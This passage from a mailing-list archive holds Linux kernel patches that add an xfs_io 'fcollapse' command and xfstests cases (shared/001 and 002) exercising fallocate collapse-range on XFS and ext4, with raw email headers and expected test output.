fcollapse_cmd.argmax = 2; + fcollapse_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; + fcollapse_cmd.args = _("off len"); + fcollapse_cmd.oneline = + _("de-allocates space and eliminates the hole by shifting extents"); + add_command(&fcollapse_cmd); #endif /* HAVE_FALLOCATE */ } diff --git a/man/man8/xfs_io.8 b/man/man8/xfs_io.8 index 767b50e..9543b20 100644 --- a/man/man8/xfs_io.8 +++ b/man/man8/xfs_io.8 @@ -380,6 +380,12 @@ will set the FALLOC_FL_KEEP_SIZE flag as described in .PD .RE .TP +.BI fcollapse " offset length" +Call fallocate with FALLOC_FL_COLLAPSE_RANGE flag as described in the +.BR fallocate (2) +manual page to de-allocates blocks and eliminates the hole created in this process +by shifting data blocks into the hole. +.TP .BI fpunch " offset length" Punches (de-allocates) blocks in the file by calling fallocate with the FALLOC_FL_PUNCH_HOLE flag as described in the -- 1.7.9.5 From linkinjeon@gmail.com Sat Feb 1 23:46:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5A1867F60 for ; Sat, 1 Feb 2014 23:46:10 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2D429304051 for ; Sat, 1 Feb 2014 21:46:10 -0800 (PST) X-ASG-Debug-ID: 1391319968-04cbb00c288eee0001-NocioJ Received: from mail-pd0-f170.google.com (mail-pd0-f170.google.com [209.85.192.170]) by cuda.sgi.com with ESMTP id n2vK9sNM8oFVEyxV (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 01 Feb 2014 21:46:08 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.170 Received: by mail-pd0-f170.google.com with SMTP id p10so5782948pdj.1 for ; Sat, 01 Feb 2014 21:46:08 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=hLv4L29TSO8bift9giIOIA5L02BEnVX7o2JU/HsBXNk=; b=j31kCl6myjcw8+q7eXXgjI4IS+BOJJ3y4uqsxFo7sOPCE4DPPyAuEprF8tfzGe1ne+ 48s5UR33I5kAkGG9M1KRksBKogTH3TlRfF1llBHYCQ2Ne6lE1YnNsWn/n7tMr9ilgnYi /z73JSku/p0gqJNCV35lJ9zRQhd46G0o7e02lxIVQ8id5XgJOL1B7iERsSJxYqDE2Idt 7CsI8OPSL4WqExn7QGLxnB440klv0bt7YDxPgCEuMOiCmQZWb3hdSlUlOAvfLHUmpgjO aH99Y1WWi18tuxjtb0JYsGTTtkm3sQrbmHD+VmKcS8oAIdWS05/RSoSam8jCDIquAcRB aKmQ== X-Barracuda-BBL-IP: nil X-Received: by 10.68.114.163 with SMTP id jh3mr29483103pbb.99.1391319967923; Sat, 01 Feb 2014 21:46:07 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id dr1sm43203274pbc.18.2014.02.01.21.46.04 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 01 Feb 2014 21:46:07 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH RESEND 5/10] xfstest: shared/001: Standard collapse range tests Date: Sun, 2 Feb 2014 14:45:58 +0900 X-ASG-Orig-Subj: [PATCH RESEND 5/10] xfstest: shared/001: Standard collapse range tests Message-Id: <1391319958-3275-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f170.google.com[209.85.192.170] X-Barracuda-Start-Time: 1391319968 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144739 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This testcase(001) tries to test various corner cases for fcollapse range functionality over different type of extents. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- common/punch | 133 ++++++++++++++++++++++++++++---------------------- common/rc | 14 ++++++ tests/shared/001 | 65 ++++++++++++++++++++++++ tests/shared/001.out | 53 ++++++++++++++++++++ tests/shared/group | 1 + 5 files changed, 209 insertions(+), 57 deletions(-) create mode 100644 tests/shared/001 create mode 100644 tests/shared/001.out diff --git a/common/punch b/common/punch index a49638c..f401455 100644 --- a/common/punch +++ b/common/punch @@ -317,13 +317,23 @@ _test_generic_punch() map_cmd=$4 filter_cmd=$5 testfile=$6 + multiple=1 + + # + # If we are testing collapse range, we increare all the offsets of this + # test by a factor of 4. We do this because unlike punch, collapse + # range also decreases the size of file hence require bigger offsets. + # + if [ "$zero_cmd" == "fcollapse" ]; then + multiple=4 + fi echo " 1. into a hole" if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -332,9 +342,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 20k" $sync_cmd \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 20))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -344,9 +354,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 20k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd 0 $(($multiple * 20))k" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -356,9 +366,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 8k 8k" $sync_cmd \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite $(($multiple * 8))k $(($multiple * 8))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -368,9 +378,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 8k 8k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd $(($multiple * 8))k $(($multiple * 8))k" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -380,9 +390,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 8k" $sync_cmd \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 8))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -392,10 +402,10 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 8k" $sync_cmd \ - -c "$alloc_cmd 8k 8k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 8))k" $sync_cmd \ + -c "$alloc_cmd $(($multiple * 8))k $(($multiple * 8))k" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -404,9 +414,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 8k" \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd 0 $(($multiple * 8))k" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -415,10 +425,10 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 8k" \ - -c "pwrite 8k 8k" $sync_cmd \ - -c "$zero_cmd 4k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd 0 $(($multiple * 8))k" \ + -c "pwrite $(($multiple * 8))k $(($multiple * 8))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -428,9 +438,9 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 8k 4k" $sync_cmd \ - -c "$zero_cmd 4k 12k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite $(($multiple * 8))k $(($multiple * 4))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 12))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -439,12 +449,12 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 20k" \ - -c "pwrite 0 8k" \ - -c "pwrite 12k 8k" $sync_cmd \ - -c "$punch_cmd 8k 4k" \ - -c "$zero_cmd 4k 12k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd 0 $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 8))k" \ + -c "pwrite $(($multiple * 12))k $(($multiple * 8))k" $sync_cmd \ + -c "$punch_cmd $(($multiple * 8))k $(($multiple * 4))k" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 12))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -454,10 +464,10 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 20k" \ - -c "pwrite 8k 4k" $sync_cmd \ - -c "$zero_cmd 4k 12k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd 0 $(($multiple * 20))k" \ + -c "pwrite $(($multiple * 8))k $(($multiple * 4))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 12))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -466,11 +476,11 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "$alloc_cmd 0 20k" \ - -c "pwrite 0k 8k" $sync_cmd \ - -c "pwrite 12k 8k" -c "fsync" \ - -c "$zero_cmd 4k 12k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "$alloc_cmd 0 $(($multiple * 20))k" \ + -c "pwrite 0k $(($multiple * 4))k" $sync_cmd \ + -c "pwrite $(($multiple * 12))k $(($multiple * 8))k" -c "fsync" \ + -c "$zero_cmd $(($multiple * 4))k $(($multiple * 12))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -478,9 +488,9 @@ _test_generic_punch() echo " 14. data -> hole @ EOF" rm -f $testfile - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 20k" $sync_cmd \ - -c "$zero_cmd 12k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 20))k" $sync_cmd \ + -c "$zero_cmd $(($multiple * 12))k $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile @@ -489,13 +499,22 @@ _test_generic_punch() if [ "$remove_testfile" ]; then rm -f $testfile fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 20k" $sync_cmd \ - -c "$zero_cmd 0k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 20))k" $sync_cmd \ + -c "$zero_cmd 0 $(($multiple * 8))k" \ -c "$map_cmd -v" $testfile | $filter_cmd [ $? -ne 0 ] && die_now _md5_checksum $testfile + # If zero_cmd is fcollpase, don't check unaligned offsets + if [ "$zero_cmd" == "fcollapse" ]; then + if [ "$remove_testfile" ]; then + rm -f $testfile + rm -f $testfile.2 + fi + return + fi + echo " 16. data -> cache cold ->hole" if [ "$remove_testfile" ]; then rm -f $testfile @@ -503,12 +522,12 @@ _test_generic_punch() else cp $testfile $testfile.2 fi - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 8k 12k" -c "fsync" $testfile.2 \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite $(($multiple * 8))k $(($multiple * 12))k" -c "fsync" $testfile.2 \ > /dev/null - $XFS_IO_PROG -f -c "truncate 20k" \ - -c "pwrite 0 20k" $sync_cmd \ - -c "$zero_cmd 0k 8k" \ + $XFS_IO_PROG -f -c "truncate $(($multiple * 20))k" \ + -c "pwrite 0 $(($multiple * 20))k" $sync_cmd \ + -c "$zero_cmd 0k $(($multiple * 8))k" \ -c "fadvise -d" \ -c "$map_cmd -v" $testfile | $filter_cmd diff $testfile $testfile.2 diff --git a/common/rc b/common/rc index 5f61d57..3be4721 100644 --- a/common/rc +++ b/common/rc @@ -1259,6 +1259,20 @@ _require_xfs_io_falloc_punch() _notrun "xfs_io fallocate punch command failed (no fs support?)" } +# check that xfs_io, kernel and filesystem all support fallocate with collapse +# range +_require_xfs_io_falloc_collapse() +{ + testfile=$TEST_DIR/$$.falloc + testio=`$XFS_IO_PROG -f -c "pwrite 0 20k" -c "fsync" \ + -c "fcollapse 4k 8k" $testfile 2>&1` + rm -f $testfile 2>&1 > /dev/null + echo $testio | grep -q "not found" && \ + _notrun "xfs_io fallocate collapse range support is missing" + echo $testio | grep -q "Operation not supported" && \ + _notrun "xfs_io fallocate collapse range failed (no fs support?)" +} + # check that xfs_io, kernel and filesystem support fiemap _require_xfs_io_fiemap() { diff --git a/tests/shared/001 b/tests/shared/001 new file mode 100644 index 0000000..b3ebbba --- /dev/null +++ b/tests/shared/001 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. 1 +# +# Standard collapse range tests +# This testcase is one of the 4 testcases (shared 001 - 004) which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/shared/001.out b/tests/shared/001.out new file mode 100644 index 0000000..bff2bab --- /dev/null +++ b/tests/shared/001.out @@ -0,0 +1,53 @@ +QA output created by 001 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f4f35d60b3cc18aaa6d8d92f0cd3708a + 4. hole -> data +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 5. hole -> unwritten +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 10. hole -> data -> hole +bb7df04e1b0a2570657527a7e108ae23 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +bb7df04e1b0a2570657527a7e108ae23 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +fallocate: Invalid argument +0: [0..159]: extent +7670f4830c6724a25e7c22d9eb9a6f4f + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/group b/tests/shared/group index 0ad640b..5562f92 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -3,6 +3,7 @@ # - do not start group names with a digit # - comment line before each group is "new" description # +001 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.9.5 From linkinjeon@gmail.com Sat Feb 1 23:46:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2715B7F60 for ; Sat, 1 Feb 2014 23:46:29 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B3000AC005 for ; Sat, 1 Feb 2014 21:46:28 -0800 (PST) X-ASG-Debug-ID: 1391319987-04bdf012209f950001-NocioJ Received: from mail-pd0-f176.google.com (mail-pd0-f176.google.com [209.85.192.176]) by cuda.sgi.com with ESMTP id d2wttXCDtNabWjz7 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 01 Feb 2014 21:46:27 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.176 Received: by mail-pd0-f176.google.com with SMTP id w10so5742821pde.7 for ; Sat, 01 Feb 2014 21:46:27 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=kVeasq5tWt2IjKNNKrIZb424MpS44OUb+kUrayySSEQ=; b=LVjkzBzZNeATgLuyFXZR8XASsx65sj5CR8vLsgrMTCYxFtGd+pHlPoOkVZAdNFCPJc v7wgGH9zqu9e8zzuiJRcBkW0qgBGU0m/Groi9Fvf6W03kCAW93/+/FSQ52dPiQFJaSyG a+fkpuNJTbqiqpqT+exHSYeZ1KGQTsATUjooYkALyPC27BMZ4fckLHzWvZtzzD8q/MIL SwUxLZoylfpSfRqXKwrd65swb734t2hIP3uPUg4N6L3CIYJqGaD4ZCRPwd9cQ+ZKA4hm dby6xjZy2IyNkwxvUb+jdepFNfWo/nzmqQtVdrsWOu+X6ZsQ+SLaYga57fpEbgBSVhMi 3LRg== X-Barracuda-BBL-IP: nil X-Received: by 10.68.201.226 with SMTP id kd2mr138115pbc.157.1391319987448; Sat, 01 Feb 2014 21:46:27 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id qq5sm43209344pbb.24.2014.02.01.21.46.24 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 01 Feb 2014 21:46:26 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH RESEND 6/10] xfstest: shared/002: Delayed allocation collapse range Date: Sun, 2 Feb 2014 14:46:18 +0900 X-ASG-Orig-Subj: [PATCH RESEND 6/10] xfstest: shared/002: Delayed allocation collapse range Message-Id: <1391319978-3311-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f176.google.com[209.85.192.176] X-Barracuda-Start-Time: 1391319987 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144739 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This testcase(002) tries to test various corner cases with delayed extents for fcollapse range functionality over different type of extents. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- tests/shared/002 | 65 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/002.out | 53 ++++++++++++++++++++++++++++++++++++++++ tests/shared/group | 1 + 3 files changed, 119 insertions(+) create mode 100755 tests/shared/002 create mode 100644 tests/shared/002.out diff --git a/tests/shared/002 b/tests/shared/002 new file mode 100755 index 0000000..54b957d --- /dev/null +++ b/tests/shared/002 @@ -0,0 +1,65 @@ +#! /bin/bash +# FS QA Test No. 2 +# +# Delayed allocation collapse range tests +# This testcase is one of the 4 testcases (shared 001 - 004) which tries to +# test various corner cases for fcollapse range functionality over different +# type of extents. These tests are based on generic/255 test case. +# For the type of tests, check the description of _test_generic_punch +# in common/rc. +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +# we need to include common/punch to get defination fo filter functions +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_xfs_io_falloc_punch +_require_xfs_io_falloc +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse + +testfile=$TEST_DIR/$seq.$$ + +_test_generic_punch -d falloc fpunch fcollapse fiemap _filter_hole_fiemap $testfile +_check_test_fs + +status=0 +exit diff --git a/tests/shared/002.out b/tests/shared/002.out new file mode 100644 index 0000000..14c239c --- /dev/null +++ b/tests/shared/002.out @@ -0,0 +1,53 @@ +QA output created by 002 + 1. into a hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 2. into allocated space +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 + 3. into unwritten space +0: [0..95]: extent +f4f35d60b3cc18aaa6d8d92f0cd3708a + 4. hole -> data +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 5. hole -> unwritten +0: [0..31]: hole +1: [32..63]: extent +2: [64..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 6. data -> hole +0: [0..31]: extent +1: [32..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 7. data -> unwritten +0: [0..63]: extent +1: [64..95]: hole +f07217d5ac7ffa15dd8910c4aa912674 + 8. unwritten -> hole +0: [0..31]: extent +1: [32..95]: hole +f4f35d60b3cc18aaa6d8d92f0cd3708a + 9. unwritten -> data +0: [0..63]: extent +1: [64..95]: hole +d8f51c20223dbce5c7c90db87bc221b0 + 10. hole -> data -> hole +bb7df04e1b0a2570657527a7e108ae23 + 11. data -> hole -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 12. unwritten -> data -> unwritten +0: [0..63]: extent +bb7df04e1b0a2570657527a7e108ae23 + 13. data -> unwritten -> data +0: [0..63]: extent +0f0151cbed83e4bf6e5bde26e82ab115 + 14. data -> hole @ EOF +fallocate: Invalid argument +0: [0..159]: extent +7670f4830c6724a25e7c22d9eb9a6f4f + 15. data -> hole @ 0 +0: [0..95]: extent +f1894a71ac539f6f90426d98a4990a47 diff --git a/tests/shared/group b/tests/shared/group index 5562f92..7230b28 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -4,6 +4,7 @@ # - comment line before each group is "new" description # 001 auto prealloc +002 auto prealloc 032 mkfs auto quick 051 acl udf auto quick 218 auto fsr quick -- 1.7.9.5 From linkinjeon@gmail.com Sat Feb 1 23:46:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 42CD17FAB for ; Sat, 1 Feb 2014 23:46:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com 